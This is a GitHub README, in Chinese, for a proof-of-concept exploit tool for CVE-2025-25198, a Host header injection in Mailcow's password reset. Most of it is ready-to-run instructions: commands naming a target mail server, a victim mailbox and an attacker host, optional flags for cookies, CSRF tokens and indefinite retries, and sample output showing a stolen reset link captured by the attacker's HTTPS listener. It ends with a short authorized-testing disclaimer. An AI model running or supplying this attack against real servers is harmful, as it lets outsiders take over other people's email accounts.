Groppoxx/CVE-2025-25198-PoC
GitHub: Groppoxx/CVE-2025-25198-PoC
这是一个用于自动化验证CVE-2025-25198漏洞的PoC工具,专门测试Mailcow密码重置流程中的Host头注入问题。
Stars: 20 | Forks: 1
# CVE-2025-25198概念验证
[**CVE-2025-25198**](https://nvd.nist.gov/vuln/detail/CVE-2025-25198) 概念验证工具,该漏洞是一个影响 Mailcow 密码重置流程的 Host 头注入问题。
该脚本在 `443` 端口启动本地 HTTPS 监听器,自动获取有效的 CSRF 令牌,使用被污染的 `Host` 头发送密码重置序列,并在从 HTTP 响应或监听器回调中恢复出重置链接后停止。
## 功能说明
1. 使用自签名证书启动 HTTPS 监听器。
2. 创建一个全新的 HTTP 客户端会话。
3. 自动获取 CSRF 令牌。
4. 使用受控的 `Host` 头发送重置流程。
5. 从响应和重定向中提取重置链接。
6. 如果目标通过带外方式发送链接,则等待监听器命中。
7. 遇到第一个有效重置链接时停止,并清晰地打印该链接。
## 依赖要求
```
Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
```
安装依赖项:
```
pip install -r requirements.txt
```
## 快速开始
尖括号包裹的值是占位符。请替换为你自己的值,并且不要包含 `<` 或 `>` 字符。
```
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url \
--username \
--attacker-host \
--http2
```
### 占位符说明
```
# Target Mailcow base URL. Example: https://mail.example.com
# Mailbox/user passed to the reset form. Usually an email address.
# IP or DNS name that the target can reach on TCP/443.
```
## 完整示例
```
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username michael@cows.com \
--attacker-host 10.10.13.12 \
--http2
```
示例输出:
```
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
```
## 演示
[](https://asciinema.org/a/750363)
## 可选标志
```
--http2
Use HTTP/2 via httpx. Recommended for best parity with modern browsers.
--interval
Seconds between attempts and listener wait windows. Default: 8
--max-attempts
Stop after N attempts. Default: 0, which means retry indefinitely.
--cookie ''
Seed the client cookie jar manually.
Example: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf
Use a known CSRF token instead of auto-discovery.
--only-final
Hide progress logs and print only the final reset-link banner.
```
## 注意事项
- 监听器始终绑定到 `443` 端口。
- 在 Linux/macOS 上,绑定 `443` 端口需要 `sudo` 或 root 权限。
- 目标必须能够访问 `https:///`。
- 如果在 HTTP 响应中找到重置链接,脚本将立即退出。
- 如果在响应中未找到链接,脚本将等待对 HTTPS 监听器的回调。
- 如果未恢复到链接,序列默认每 8 秒重试一次。
- 如果缺少 `server.pem` 和 `server.key`,它们会自动生成。
## 法律声明
本概念验证工具旨在用于**授权的安全测试**、实验室环境和漏洞验证。
请勿在没有明确许可的情况下对系统使用它。
标签:CISA项目, CSRF处理, CVE-2025-25198, Host头中毒, HTTP/2, HTTPS, Mailcow漏洞, Maven, OpenSSL, Python, Web安全, 安全测试工具, 安全漏洞, 密码重置, 攻击技术, 无后门, 概念验证, 漏洞验证, 网络安全, 蓝队分析, 逆向工具, 隐私保护